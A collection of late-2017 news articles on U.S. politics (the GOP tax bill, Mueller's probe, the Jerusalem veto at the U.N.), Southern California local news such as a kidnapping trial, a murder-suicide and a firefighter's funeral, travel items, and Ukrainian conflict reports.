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Vice president postpones Israel trip a second time in case his vote is needed to pass tax cut bill By Noah Bierman (Ethan Miller / Getty Images) Vice President Mike Pence is delaying his trip to Egypt and Israel for a second time in case he is needed to break a tie in the Senate for the tax bill that is expected to pass narrowly this week. Two White House officials confirmed the changed schedule, which they say is unrelated to to protests in the region over the administrations decision to recognize Jerusalem as Israels capital. Pence had initially been scheduled to leave last Saturday. Late last week, the White House moved the trip back a few days to Tuesday night, in case Pence was needed to break a Senate tie. But Monday, they decided to postpone the trip further, to January, given the possibility of a late Senate vote and the coming holidays. He wants to see it through the finish line, said a White House official, referring to the tax measure that is a centerpiece of the Republican legislative agenda. We dont want to leave anything to chance. The mid-January dates will allow Pence more breathing room to merge schedules with embassies and hotels, the official said. Trump still plans to address the Israeli Knesset, a high-profile venue to discuss the Jerusalem decision where it is most popular. Facebook

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Trump judicial pick who drew ridicule at hearing withdraws By Associated Press A White House official says the Trump judicial nominee whose qualifications were questioned by a Republican senator has withdrawn his nomination. Matthew Petersen, who was nominated by President Trump to the U.S. District Court for the District of Columbia, has been the subject of widespread ridicule since he was unable to define basic legal terms during his confirmation hearing Wednesday. A White House official says Petersen has withdrawn his nomination and that Trump has accepted the withdrawal. The official spoke on condition of anonymity because the official was not authorized to discuss the development publicly. Louisiana Sen. John Kennedy pressed Petersen, a former chairman of the Federal Election Commission, who testified he had never tried a case, on his qualifications to the bench. Facebook

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Trump says McCain will return to Washington if needed for tax vote By Laura King President Trump said Sunday that Sen. John McCain, who is battling an aggressive form of brain cancer, was returning home to Arizona for the holidays but would come back to Washington if needed to cast a vote on the Republicans tax overhaul bill. The Arizona Republicans office announced last week that McCain was receiving treatment at Walter Reed National Military Medical Center outside Washington for complications from his cancer treatment. McCains daughter Meghan tweeted earlier Sunday that her 81-year-old father would be spending Christmas in Arizona. The Senate is expected to vote early this week on the tax cut legislation, but the GOP appeared to have secured sufficient support without McCains vote. John will come back if we need his vote, Trump told reporters as he returned from a weekend at the presidential retreat at Camp David. Hes going through a very tough time. Facebook

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Putin calls Trump to thank him for U.S. help foiling terrorist strike By Laura King Vladimir Putin phoned President Trump to thank him for what the Russian president said was CIA help in foiling a terrorist attack, the Kremlin said on Sunday. White House Press Secretary Sarah Huckabee Sanders confirmed the two leaders conversation to reporters. It was the second time that the two leaders had talked in four days; Trump called Putin on Thursday to thank the Russian leader for lauding the U.S. economy. Putin, in his annual year-end news conference, had praised Trump for a strong performance by the U.S. stock market. Perhaps ironically, given his credit to the CIAs recent help, Putin at that news event dismissed as hysteria the consensus among American intelligence agencies that Russia interfered in the 2016 presidential campaign. In reporting Putins call to Trump on Sunday, the official Russian news agency Tass said Putin thanked his American counterpart for information shared by the US Central Intelligence Agency that had helped break up a plot to set off explosives in St. Petersburgs landmark Kazan Cathedral and elsewhere in the city, which is Russias second-largest. Russian authorities last week had credited their countrys counter-intelligence service, the FSB, for foiling the attacks. They reported that seven people affiliated with Islamic State had been detained in St. Petersburg in connection with the plot. The FSB, the successor organization to the KGB, announced Friday that the group had planned to carry out the attacks on Saturday, and that one of those in custody had confessed to the cathedral bomb plot. Facebook

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Mnuchin: Government shutdown unlikely but could happen By Laura King Treasury Secretary Steven T. Mnuchin said on Sunday that a government shutdown this week was unlikely but possible. A two-week stopgap spending bill passed by Congress earlier this month provided enough funding to keep the government running through Friday. A deadlock on another temporary funding measure would open the door to a possible shutdown. I cant rule it out, but I cant imagine it occurring, Mnuchin said on Fox News Sunday, suggesting everyone had an interest in avoiding the government grinding to a halt and federal workers going unpaid, especially in the holiday season. I would expect that both the House and Senate, Republicans and Democrats, understand if they cant agree on this, they need to have another short-term extension to move this to January, the Treasury secretary said. We cant have a government shutdown in front of Christmas. In May, irate over concessions made to Democrats in hammering out a spending measure, President Trump tweeted that a good shutdown might help matters. While both parties agree that a government shutdown involves a degree of disruption that is not beneficial to either side, shutdowns in 1995-96 and in 2013 mainly caused a backlash against Republicans. The latest funding measure is to be taken up after a vote on a massive GOP tax overhaul, expected by midweek. Facebook

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Trump transition team says sensitive emails should not have been shared with Robert Mueller By Chris Megerian (J. Scott Applewhite / Associated Press) President Trumps transition team is crying foul over how special counsel Robert S. Mueller III obtained emails for his investigation into Russian meddling in last years campaign and possible Trump campaign complicity. Kory Langhofer, a lawyer for the transition team, sent a letter to Congress on Saturday saying there was an unauthorized disclosure of emails. While the Trump transition is long over, the transition team remains a nonprofit organization. Its emails were hosted by the General Services Administration, a federal agency. Mueller reportedly obtained the emails directly from the agency. There are attorney-client communications, Langhofer said in an interview. There are executive-privileged communications. He added, What were asking Congress to do is to take some legislative action to make sure this never happens again. Peter Carr, a spokesman for the special counsels office, defended the process for obtaining emails. When we have obtained emails in the course of our ongoing criminal investigation, we have secured either the account owners consent or appropriate criminal process, he said. The letter was first reported by Fox News. A request for comment from the General Services Administration was not immediately answered. This story has been updated with a comment from the special counsels office. Facebook

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Virginia house arrest is ending for Paul Manafort By Chris Megerian (Mark Wilson / Getty Images) A federal judge agreed Friday to end Paul Manaforts house arrest in Virginia, allowing President Trumps former campaign manager to return to Florida while awaiting trial. The decision followed a dispute between Manaforts legal team and prosecutors working for special counsel Robert S. Mueller III, who accused Manafort of violating a court order restricting public statements about the case. Under the terms of the judges order, Manafort will be allowed to live at his home in Florida as long as he stays within Palm Beach and Broward counties and obeys a curfew from 11 p.m. to 7 a.m. If he misses a court appearance, he would forfeit four properties valued at $10 million total. The deal, which includes GPS monitoring, is not as permissive as Manafort originally sought. He had asked to be able to travel freely among Florida, New York, Virginia and Washington. Manafort faces criminal charges of fraud, conspiracy and money laundering. He has pleaded not guilty. Facebook

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GOP negotiators enhance child tax credit to win over Sen. Rubio By Lisa Mascaro Republican negotiators slightly increased the refundable portion of the expanded child tax credit in their tax plan, raising it to $1,400 in hopes of winning back Sen. Marco Rubios (R-Fla.) support ahead of next weeks vote. Rubio announced Thursday he was withholding support after negotiators ignored his push to make the expanded tax credit, which increases from the current $1,000 to $2,000 in the proposed bill, fully refundable for lower- and moderate-income filers. The refundable portion in the original bill was $1,100. The Florida senator argued that was not enough to help working-class Americans, many of whom already view the GOP plan as tilted toward the wealthy. Rubios office was waiting to see the final text before commenting on whether the change was enough to win him over. We have not seen the bill text, and until we see if the percentage of the refundable credit is significantly higher, then our position remains the same, Rubios spokeswoman said. Negotiators meeting Friday before unveiling the bill said they thought they had the support they needed from Rubio and other holdouts. Im confident both chambers will pass it next week, said Sen. Pat Toomey (R-Pa.). Facebook

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Sen. Marco Rubio opposes GOP tax bill, depriving leaders of crucial support By Lisa Mascaro 20.94% Corp. rate to pay for tax cut for working family making $40k was anti-growth but 21% to cut tax for couples making $1million is fine?  Marco Rubio (@marcorubio) December 12, 2017 Sen. Marco Rubio (R-Fla.) says he is currently opposed to the GOP tax plan because it fails to include his proposed enhancements to the child tax credit, leaving leaders without crucial support ahead of next weeks expected vote. Republicans can only lose two GOP senators from their slim 52-48 majority as they push the plan forward under special budget rules to prevent a Democratic filibuster. Vice President Mike Pence on Wednesday altered his planned Israel trip so he could be on hand, if needed, to cast a tie-breaking vote. Rubio, and GOP Sen. Mike Lee of Utah, have fought to increase the child tax credit, doubling it to $2,000 in the GOP plan, but they also want to increase its refundability. They argue it will lower taxes on middle-income families at a time when the tax plan is being criticized as tilted to the wealthy. Sen. Rubio has consistently communicated to the Senate tax negotiators that his vote on final passage would depend on whether the refundability of the Child Tax Credit was increased in a meaningful way, Rubios spokeswoman said. Lee stopped short of opposing the bill, but his spokesman said Wednesday he is undecided. GOP leaders, though, have said they believe they have the support for passage. Facebook

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White House gives Roy Moore a unsubtle shove: Time to concede By David Lauter (Alex Wong / Getty Images) The White House sent a clear signal Thursday to the defeated Republican candidate for Senate in Alabama: Its time to concede. Roy Moore refused to concede the race on Tuesday night when Doug Jones, the Democrat, was declared the winner. Election night results show Jones winning by about 1.5 percentage points, three times more than the states standard for a recount. Although a few absentee and provisional ballots remain to be counted, theres no indication they would change the result. On Wednesday, Moore notably did not call to congratulate Jones  even as President Trump and other leading Republicans did. Instead, he released a video declaring the battle rages on. Asked at the daily news briefing whether the White House thinks Moore should concede today, Press Secretary Sarah Huckabee Sanders said, It probably sounds like it maybe should have already taken place. Sanders also dismissed the idea, pushed by some Moore supporters, that Jones victory was tainted in some fashion. Asked if the Democrat had won fair and square, she said, I think the numbers reflect that. The states Republican senator, Richard Shelby, offered a similar comment in an interview with MSNBC in which he said he was willing to work with Jones. If I was 25,000 votes behind, its not going to change much, Shelby said. Facebook

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House Speaker Paul Ryan says hes not leaving anytime soon By Lisa Mascaro House Speaker Paul D. Ryan shot down suggestions Thursday that he might soon be retiring. Stories often circulate that party leaders, especially the House speaker, are stepping aside. Ryans tenure has been as rocky as that of his predecessor, Rep. John Boehner, who abruptly resigned in 2015 amid GOP infighting. Asked Thursday if he would be leaving, Ryan answered a simple no, as he left his weekly press conference in the Capitol. Ryan, the Wisconsin Republican who reluctantly took over the speakers gavel after Boehners departure, had just finished talking up the GOP tax plan, which leaders hope to pass next week. He also outlined his sweeping agenda for his longtime goal of entitlement reform of welfare benefits next year. Two stories published Thursday suggested Ryan may soon be out. This is pure speculation, said spokeswoman AshLee Strong. As the speaker himself said today, hes not going anywhere anytime soon. Facebook

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GOP leaders reach tax deal, cutting corporate rate to 21% and top individual rate to 37% By Lisa Mascaro Republican leaders on Wednesday agreed on a revised plan to cut taxes that would lower the corporate rate from 35% to 21% and drop the top individual rate for the richest Americans to 37%, according to GOP senators and others briefed on the deal. The tentative accord marked a significant step in the Republican push to have a tax bill on President Trumps desk by Christmas. Leaders did not release details of the compromise or the text of a final bill as negotiations continued. Its critically important for Congress to quickly pass these historic tax cuts, Trump said Wednesday, promising that Americans could begin to reap the benefits of the plan as early as February, if passed. Critics, however, said the latest changes  particularly the lowering of the top individual rate from the current 39.6%  only reaffirmed several independent analyses that show the bulk of the savings from the Republican plan would go to businesses and the wealthy. Read More Facebook

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Farenthold to retire from House amid harassment accusations By Associated Press Texas Republican Rep. Blake Farenthold wont seek reelection next year, two Republicans said Thursday, adding his name to the list of lawmakers leaving Congress amid sexual harassment allegations that have cost powerful men their jobs in politics, the arts and other fields. The accusations against Farenthold surfaced in 2014, when a former aide sued him alleging sexually suggestive comments and behavior and said shed been fired after she complained. The lawmaker said he engaged in no wrongdoing and the case was settled in 2015. But the House Ethics Committee said last week that it would investigate Farenthold after congressional sources said hed paid an $84,000 settlement using taxpayers money. Though Farenthold said hed reimburse the Treasury Department, such payments have drawn public criticism from people saying lawmakers should use their own money for such settlements. A House official said Farenthold spoke twice Wednesday to House Speaker Paul D. Ryan (R-Wis.), while another official said the congressman spoke once with Rep. Steve Stivers (R-Ohio) who heads the GOPs House campaign committee. Those discussions suggested that Farenthold may have come under pressure from leaders to step aside. Both officials spoke on condition of anonymity to describe private conversations. Last week, three lawmakers facing accusations of sexual harassment announced their resignations. Reps. John Conyers (D-Mich.) and Trent Franks (R-Ariz.) have already left Congress while Sen. Al Franken (D-Minn.) has said he will step aside soon. Mike Bergsma, Republican county chairman in Farentholds home county of Nueces, Texas, said Fare
Firefighting agencies from across Southern California came out in force Sunday to honor fallen Cal Fire engineer Cory Iverson, who died Thursday while fighting the Thomas Fire.

Firefighters and police officers from multiple agencies  including Burbank, Glendale and the city of Los Angeles  were joined by civilians as they stood on freeway overpasses to honor Iverson and salute his funeral procession as it made its way from Ventura to San Diego.

The 32-year-old San Diego resident had been fighting the blaze, which has burned more than 270,000 acres in Ventura and Santa Barbara counties, since the beginning of the month as part of a Cal Fire strike team.

He was fatally injured just outside of Fillmore in Ventura County combating the blaze. According to the Ventura County medical examiners office, Iverson died of burns and smoke inhalation.

He is survived by his wife, Ashley, and a 2-year-old daughter. Also, his wife is expecting their second daughter, due in the springtime.

A GoFundMe campaign to help support Iversons family has raised over $400,000 within four days. The Benevolent Fund is also accepting donations on behalf of his family, according to Cal Fire.

andy.nguyen@latimes.com

Twitter: @Andy_Truc
A U.S. District judge last week granted part of a groups request to dismiss portions of a lawsuit filed by the operator of Hotel Laguna in Laguna Beach.

Judge Josephine Staton, in her written order, dismissed hotel operator Andersen Hotels, Inc.s claims of trademark infringement, false designation of origin and service mark dilution.

Trademark infringement law prevents unauthorized use of a trademark only when such uses occur in connection with a commercial transaction in which the trademark is being used to confuse potential customers, Staton said.

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In its Oct. 12 filing, Andersen alleged a group that includes E.W. Merritt Farms, film director Greg MacGillivray, real estate investor Joe Hanauer, James Ray and Kimbark Group, LLC, a Delaware company that does business in California, are using the name Hotel Laguna and advertising themselves as the new owners of the property at 425 S. Coast Hwy. without Andersens consent.

Andersens lease expires Dec. 31. Statons ruling does nothing to affect that date, said attorney Proud Usahacharoenporn, who represents Andersen.

Staton cited the Lanham Act as the basis for her ruling. The law is designed to protect consumers who have formed associations with a mark from buying a competing product using the same or similar mark.

The alleged advertisement is not used in connection with sales of goods or service, Staton said.

Kimbark requested Staton dismiss 10 of Andersens claims, including breaches of contract and implied covenant of good faith and fair dealing, and injury to business reputation.

The allegations of contract breach and injury to reputation would usually be handled by a state judge, but Staton said that Andersen could file an amended complaint within 21 days of her Dec. 13 order to address deficiencies regarding federal trademark law claims and the court would review state-law claims, according to court records.

Andersen could also refile the case in state court, Staton wrote.

Andersen, a family business, sued property owner, E.W. Merritt Farms, alleging it violated lease terms to make way for a new operator.

Andersen has operated the hotel for 32 years but learned in January that Merritt Farms had agreed to lease the hotel and property to Kimbark, MacGillivray, Ray and/or Hanauer.

The suit claims Merritt Farms did not comply with lease terms to give Andersen the right of first refusal should Merritt Farms decide to sell the property or hotel.

Andersen alleges that Merritt Farms, Kimbark, MacGillivray, Ray and/or Hanauer structured a 99-year lease in an attempt to avoid Andersens right of first refusal.

MacGillivray, in an October statement, acknowledged there is a plan afoot for the hotel  with preservation as a priority  but declined to give further details.

bryce.alderton@latimes.com

Twitter: @AldertonBryce
A medical marijuana dispensary owner who in 2012 was kidnapped from his Newport Beach home by three men who sought to steal $1 million from him told an Orange County Superior Court jury Monday about brutal beatings he endured over several hours.

The man, whom the Daily Pilot is not identifying by name because he was the victim of a sex-related crime, testified that he was stomped on, Tased, beaten and burned by his captors as they drove him and his female roommate from their home on 25th Street in Newport Beach to the Mojave Desert. Once there, the kidnappers cut off his penis.

His captors, prosecutors say, were looking for money that they mistakenly thought the man had buried in the desert. For nearly three hours, the man testified, the kidnappers demanded $1 million from him dozens of times, and when he told them he didnt have that much, they beat and tortured him.

I thought, Am I going to die? Am I going to live?  he said.

The man was one of several witnesses who testified Monday in the trial of Kyle Shirakawa Handley, a Fountain Valley resident and marijuana grower who authorities said had supplied marijuana for the dispensary owners business.

Handley is facing felony charges of kidnapping, aggravated mayhem and torture, with a possible sentencing enhancement on allegations of inflicting great bodily injury. He has pleaded not guilty, according to court records.

If convicted, he could face life in prison without possibility of parole.

Hossein Nayeri, 39, who also is charged in the case, grabbed headlines in 2016 when he escaped from the Orange County Jail and was captured in San Francisco after evading authorities for eight days. Nayeri is scheduled to face trial in the kidnapping case in March.

Another defendant, Ryan Kevorkian, 38, is scheduled for a pretrial hearing in January.

Kevorkian and Nayeri have pleaded not guilty, according to court records.

Prosecutors allege that after a high-rolling Las Vegas trip together in May 2012, Handley believed the dispensary owner had a large amount of money and that he hatched a plan with Nayeri and Kevorkian to steal it.

The dispensary owner said he had fallen asleep watching television the night of Oct. 2, 2012, when he was awakened by a flashlights bright light and a shotgun pointed at his face. He said two men beat him, zip-tied his hands and feet, blindfolded him and taped his mouth before dragging him down the stairs to the garage.

His roommate, who had moved in just days before, testified that she awoke to the cold barrel of a gun placed on the back of her neck and a man whispering in her ear that she would be OK if she was quiet and didnt fight. She also was blindfolded, her hands and feet zip-tied and her mouth taped.

The captors placed both of them in the back of a vehicle and began driving to the desert.

I was very scared they were going to kill us, the woman said.

She dabbed tears from her eyes as she spoke on the witness stand, describing how she lay in the back of the vehicle unable to move as her roommate was tortured.

Eventually, the vehicle stopped on a dirt road and the men pulled them out and laid them on the ground. The dispensary owner was held down as at least one of the men pulled down his shorts and taunted him in a sing-song refrain before cutting off his penis.

Before the men left, one tossed a knife into the bushes and told the woman that if she could find it, she could cut herself free. She told jurors that she pushed up her blindfold with her knees, scooted to the bushes and cut the zip ties off her feet with her hands still bound behind her back.

She tried to cut her roommate free, but his hands were too swollen from the beatings, she testified. She walked barefoot on dirt and gravel for about 20 minutes before she made it to a highway and flagged down a sheriffs deputy.

It still haunts me, she said of the ordeal.

Authorities said they caught a break in the case when the dispensary owners neighbor on the Balboa Peninsula provided them with the license plate number for a suspicious-looking vehicle that had been parked in the alley near the home on Oct. 1.

Investigators determined that the truck was registered to Handley, who grew up in Fresno with Nayeri and Kevorkian.

Handleys trial is scheduled to continue this week.

hannah.fry@latimes.com

Twitter: @HannahFryTCN
Friends and family members of a Huntington Beach woman believed to have been killed by a neighbor with whom she had an ongoing dispute said Monday that she was generous and kind  the type of person who would do anything for anyone.

Elizabeth Liz Noriega, who lived in a condominium overlooking Huntington Harbour, was shot to death Friday near her Aladdin Drive home while walking her dog, Noriegas sister Marilyn Helgeson wrote in a Facebook post.

Helgeson said the shooter had a pistol in each hand.

The shooting occurred about 8 a.m. in the 4100 block of Aladdin. Police said they found a man and a woman with gunshot wounds near the garages of the condo complex just off the street.

The man was pronounced dead at the scene. The woman died at a hospital.

Huntington Beach police spokeswoman Angela Bennett would not provide more details Monday about the shooting, though police have said they are investigating it as a murder-suicide.

Police have not disclosed the identities of the man or the woman, but over the weekend, friends and relatives took to social media to express shock and sadness over losing Noriega, a 62-year-old real estate agent who worked at Re/Max Terrasol in Huntington Beach. Friends said she is survived by two daughters and a son.

The Orange County Register reported that the man believed to be the shooter was Michael Busenburg, Noriegas 78-year-old neighbor.

Busenburgs sister Janet Englehardt, a Tustin resident, told the Register that her brother had been in pain following a medical procedure.

He didnt set out to kill, Englehardt said. It happened in the moment.

Tom Bell, who owns property in the complex, said in an interview Friday that the two people killed in the shooting had ongoing issues.

It was years of one little issue turning into another issue and escalating, Bell said.

Re/Max Terrasols owner, Leo Betancourt, described Noriega on Monday as a pillar of the community and the real estate industry.

She is the most loving, caring person Ive ever met, he said. She conducted herself in the most professional manner possible. This was just a devastating blow to us, a shock. Theres not enough that can be said about her.

Kristen Kindell of Huntington Beach said she met Noriega at an open house about six years ago. For a time, Noriega helped Kindell look for a home to buy, and when that didnt happen, she helped her find an apartment to rent, Kindell said.

When Noriega traveled in Italy, she brought back some shot glasses for Kindells collection.

Shes super sweet, Kindell said. I just cant believe all this.

Michelle Elliott of Huntington Beach said she became fast friends with Noriega about six months ago.

She was very kind-hearted, very involved in her community, Elliott said. She would do anything for anyone. She loved to help people.

Noriegas family is planning a memorial for her from 11 a.m. to 2 p.m. Wednesday at the Huntington Harbour Yacht Club, 3821 Warner Ave.

Staff writer Hannah Fry contributed to this report.

bradley.zint@latimes.com

Twitter: @BradleyZint
Kathryn Rollins has become a familiar face at the Oasis Senior Center in Corona del Mar.

The Costa Mesa resident teaches a variety of classes designed to help senior citizens increase their bone density, remain limber through Pilates and maintain a healthy lifestyle physically and mentally.

I connect with seniors, said Rollins, 53, who has taught at the center for about seven years. Theyre amazing people interested to learn and take control of their bodies and lives. I love that component of it.

In coming months, she also will be hosting health lectures at the senior center.

Kathryn Rollins teaches a chair standing class featuring strengthening and stretching exercises intended to promote bone health. (Scott Smeltzer / Staff Photographer )

Rollins began her career in healthcare as a pediatric intensive-care nurse in the late 1980s at Childrens Hospital Orange County.

She eventually worked in the business side of the industry before managing her own Pilates studios in Newport Beach and later finding a home at Oasis.

Rollins has garnered a loyal following of students, some of whom have become close friends.

I think America really shelves them quickly, and Im told that a lot of them get dismissed in the healthcare setting and are put on medication, she said. Theyre really valuable and theyre so much history with so much knowledge.

Newport Beach resident Debby Manning, 68, has been attending Rollins classes for years.

She described Rollins as a beacon for women and men who wish to be healthy, happy and successful even after the age of 50.

Kathryn Rollins says her teaching style at the Oasis Senior Center aims to build confidence and drive fear away. (Scott Smeltzer / Staff Photographer )

Manning recalls that when she was a new student in one of the classes, Rollins instantly made her feel welcome.

She shows much encouragement and shell say, Dont give in to age, Manning said. She can tune in and key in on whats going on with a person just by their physical attribute. Not many instructors care about that so much.

Rollins said her teaching style has evolved through the years but that she remains committed to keeping classes fun while pushing her students further than they think they can go.

They get nervous sometimes because theyre vulnerable to falling, so the goal is to build confidence and drive fear away, Rollins said. Ive been in healthcare for 30 years and I really love doing this.

Editors note: This is an installment of Unsung Heroes, an annual feature that highlights otherwise overlooked members of the community.

Priscella.Vega@latimes.com

Twitter: @vegapriscella

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The European Union (EU) strongly condemns the attack on the property of Dnipro's anti-corruption activist and expert of Civic Control Platform Hennadiy Kirichenko.

"We strongly condemn the attack on the property of Dnipro's anti-corruption activist and expert of Civic Control Platform Mr Kirichenko, which appears to be related to his professional activities We also hope that Ukrainian authorities will take necessary steps to prevent any future attacks against civil society representatives who carry on with important mission of fighting corruption and promoting reforms at the regional level," the EU Delegation to Ukraine wrote on its Facebook page on Tuesday.

The EU expects law enforcement authorities to ensure that perpetrators of attack are identified, prosecuted and sanctioned in accordance with Ukrainian laws.

Earlier on the Civic Control Platform's Facebook page it was said that a car of Kirichenko was set on fire by unknown people. The platform believes that the reason for the incident is "an active protest from Kirichenko against the construction of a car park for cars, heavy vehicles and minibuses near the apartment building where the activist lives."
Travelers are sailing at a steadily increasing rate, with more than 27 million people projected to cruise during 2018, according to an annual report released by industry organization Cruise Lines International Assn., or CLIA. An estimated 25.8 million passengers will cruise by the end of 2017.

To accommodate rising demand  more than 20% over five years  CLIA-affiliated cruise lines will launch a record 27 ocean, river and specialty ships next year.

The 2018 State of the Cruise Industry Outlook forecasts nine cruise travel trends for the coming year.

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Four types of cruises that will continue to grow in popularity, according to the report, are:

Chilly destinations: Cold-climate travel is increasing, with more cruisers choosing to sail in the Baltics, Canada, Alaska and Antarctica.

Health-oriented cruising: Wellness trips that feature seminars led by health experts, fitness programs, stress management and spa services are in demand.

Millennial travel: River and small-ship cruising is gaining popularity with travelers, especially millennials. One cruise company, Uniworld, has even launched a line specifically geared to 21- to 45-year-olds.

Multigenerational cruises: This group of travelers has grown consistently, with a new twist: skip-generation trips, with grandparents and grandchildren traveling together.

The report also speculates that sustainability practices will continue to grow, that travelers will seek transformational experiences such as cultural immersion or adventure travel, that most income brackets are trying cruising, that traveler-friendly onboard technologies will continue to grow, and that the travel agent role in planning trips will continue to grow.

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travel@latimes.com

@latimestravel
If you want to see China at a low price, World Spree offers a 10-night trip to Beijing, Xian and Shanghai starting at $1,399 per person, including airfare, lodging and guided tours.

The deal: World Spree calls this its Middle Kingdom Tour. The price, based on double occupancy, includes round-trip airfare from L.A. or San Francisco, transportation within China, hotels, some meals, sightseeing tours and entrance fees, English-speaking guides and baggage handling.

When: Tours depart March 4 and Nov. 4 and 11. (Its offered year-round at slightly higher prices.)

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Details: You cant beat the cost of this tour that takes your to Beijing, including the Great Wall and the Forbidden City as well as the Birds Nest Olympic stadium; Xian, to see the terracotta warriors; and Shanghai. You can sign on for optional trips to places such as Hangzhou and Suzhou for less than $100 per person.

Info: World Sprees Middle Kingdom Tour, (866) 652-5656

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Fly round-trip from LAX to Cabo, Mexico, for $198 on Alaska or Delta

travel@latimes.com

@latimestravel
A bus carrying foreign passengers from a pair of cruise ships to Maya ruins in Mexicos Yucatan Peninsula crashed Tuesday, leaving at least 12 people dead and 18 injured, including some U.S. citizens, according to Mexican authorities and local reports.

The nationalities of the dead and most of the injured were not immediately released. At least one of the dead was a minor, Mexican authorities said.

Among the injured were citizens of the United States, Brazil and Sweden, said the office of civil defense in Quintana Roo, the southern Mexican state where the accident occurred.

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The bus that crashed was transporting 31 people, including the driver, from the port of Mahahual to Maya ruins at Chacchoben, 44 miles to the northwest, Mexican authorities said. The trip takes about an hour.

Many cruise passengers docking in the Yucatan take day trips to ruins and other sites on the peninsula.

In a series of Twitter messages, Miami-based Royal Caribbean Cruises called the news heartbreaking and said 27 guests from two of its ships, Celebrity Equinox and Serenade of the Seas, were on board the bus.

We are working with the local authorities to learn more about the accident, the cruise company said. We are doing all we can to help our guests, including assisting with medical care and transportation, the company said.

Diplomats from the U.S. embassy in Mexico City and other embassies here were working to identify the foreign casualties, but there were few details.

Weve seen reports of an accident involving a bus contracted by Royal Caribbean in Quintana Roo, Mexico, the U.S. embassy in Mexico City said in a statement. We express our condolences to all those affected by this tragedy. We are in contact with local authorities and are working with them to determine if there were U.S. citizens on board.

There was no official declaration on the cause of the crash.

Photos in the Mexican press showed the ill-fated bus turned over on what appeared to be a two-lane highway bordered by heavy brush. An ambulance was on the scene and emergency workers were present. People who appeared to be tourists milled alongside the stricken bus and in the nearby brush.

The wounded were taken to hospitals in the cities of Chetumal and Bacalar, Mexican authorities said. Forensic authorities were also on the scene, officials said.

Sanchez is a special correspondent in the Los Angeles Times Mexico City bureau.

patrick.mcdonnell@latimes.com

Twitter: @PmcdonnellLAT

UPDATES:

5:20 p.m.: This article was updated with a statement from the U.S. embassy in Mexico.

12:35 p.m.: This article was updated with a statement from Royal Caribbean Cruises that passengers from two of its ships were involved in the incident.

This article was originally published at 11:55 a.m.
The United States on Monday vetoed a resolution supported by the 14 other U.N. Security Council members that would have required President Trump to rescind his declaration of Jerusalem as the capital of Israel, a vote that showed the depth of global opposition to the U.S. move.

The United States was certain to veto the Egyptian-sponsored resolution, but its Arab supporters wanted the vote to demonstrate that countries everywhere and even U.S. allies such as Britain, France and Japan are against Trumps action.

The Palestinians immediately announced that they will seek a resolution with similar demands in the 193-member General Assembly, where there are no vetoes. But unlike in the Security Council, the assemblys resolutions are not legally binding.

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Palestinian Ambassador Riyad Mansour told reporters after meeting with the General Assembly president that he expects a vote this week. He said he hopes for overwhelming support telling the Trump administration that the international community doesnt accept the U.S. position, which he said violates international law and Security Council and General Assembly resolutions.

U.S. Ambassador Nikki Haley called the Security Council resolution an insult that wont be forgotten, saying the United Nations forced the U.S. to cast a veto simply because of its right to decide where to put its embassy. She said the veto  the first cast by the U.S. in more than six years  was done in defense of American sovereignty and in defense of Americas role in the Middle East peace process.

The vetoed resolution would have demanded that all countries comply with 10 resolutions on Jerusalem, dating to 1967, including requirements that the citys final status be decided in direct negotiations between Israel and the Palestinians.

It would also have affirmed that any decisions and actions which purport to have altered, the character, status or demographic composition of the holy city of Jerusalem have no legal effect, are null and void and must be rescinded.

Trump shattered decades of unwavering U.S. neutrality on Jerusalem on Dec. 6 when he declared that the United States recognizes the divided holy city as Israels capital and will move its embassy there. Trump insisted that after repeated peace failures it was past time for a new approach, saying his decision was merely based on reality.

The status of Jerusalem has been a central issue in the decades-long Israeli-Palestinian conflict, and Trumps announcement was widely perceived as taking the side of Israel. It countered an international consensus that Jerusalems status should be decided in negotiations between Israel and the Palestinians, who claim East Jerusalem as the capital of their future state.

Trumps announcement triggered denunciations and demonstrations around the world. Palestinian Authority President Mahmoud Abbas Fatah movement and other groups organized mass protests while its rival, the Gaza Strip-based Islamic militant group Hamas, called for a third violent uprising against Israel.

Trump has been working on a new Mideast peace plan and says he remains committed to brokering a deal, despite the Jerusalem move.

Haley told the Security Council the United States has never been more committed to peace in the Middle East, and called accusations that the U.S. is setting back the prospect for peace scandalous.

But Abbas, in some of his sharpest rhetoric since Trumps announcement, reiterated in public comments to senior Palestinian officials Monday that he will no longer accept the U.S. as a Mideast mediator.

He said a crazy person wouldnt accept that role for Washington after Trumps action.

Haley said Trump took great care not to prejudge final status negotiations in any way, including the specific boundaries of Israeli sovereignty in Jerusalem, which must be decided by the Israelis and Palestinians. And she insisted that this position is fully in line with the previous Security Council resolutions.

But one by one, ambassadors of the 14 countries that supported the resolution said after the vote that the U.S. violated council resolutions, which make it clear that no country can unilaterally decide that Jerusalem is the capital of Israel.

British Ambassador Matthew Rycroft said, The status of Jerusalem should be determined through a negotiated settlement between the Israelis and the Palestinians, and should ultimately be the shared capital of the Israeli and Palestinian states.

With the Palestinians rejecting U.S. mediation, Russia said it was ready to take over.

Russias deputy U.N. ambassador, Vladimir Safronkov, said the issue of moving as quickly as possible toward direct Israeli-Palestinian negotiations is becoming more important, and he reiterated Russias proposal to hold a summit between the Palestinian and Israeli leaders.

We are ready to become an honest mediator here, he said.

Safronkov said Russia will also continue to encourage all Palestinian parties to overcome the internal rifts as quickly as possible.

The resolution that was vetoed would have called on all states to refrain from the establishment of diplomatic missions in the holy city of Jerusalem, citing a 1980 council resolution.

Haley was adamant that the United States will not be told by any country where we can put our embassy.

The vetoed resolution would also have reiterated a call to reverse the negative trends on the ground that are imperiling the two-state solution that would see Israel and a future Palestine living side by side in peace. And it would have called for intensified and accelerated international and regional efforts to achieve Mideast peace.

The only support for the United States came from Israel.

Israeli Prime Minister Benjamin Netanyahu thanked the U.S. for using its veto in a video posted to Facebook.

He said Haley lit a candle of truth and dispelled lies.

Netanyahu compared Haley to the Maccabees, Jewish warriors commemorated during the Jewish holiday of Hanukkah for revolting against Hellenic rulers, rededicating the Jewish Temple in Jerusalem and establishing a Jewish kingdom in Judea.

In Netanyahus words, One defeated the many, truth defeated lies.
Illegal armed formations after an attack at Novoluhanske (Bakhmut District, Donetsk region) on December 18 attacked Kadiyivka (former Stakhanov, located on the occupied area of Luhansk region) aiming at discrediting the Ukrainian Armed Forces, the press center of the Anti-Terrorist Operation (ATO) headquarters has reported.

"Yesterday, on December 18, after a daring and merciless shelling of residential areas of the village of Novoluhanske by Russian-occupation forces using the BM-21 Grad multiple rocket launchersfor the further discrediting of the Armed Forces of Ukraine and causing hatred of the civilian population in the temporarily occupied areas, the enemy opened fire on settlements, including Kadiyivka (Stakhanov)," the press center said on its Facebook page on Tuesday.

The ATO HQ said that these provocations are aimed at discrediting Ukraine and the Armed Forces of Ukraine in the eyes of the world community.
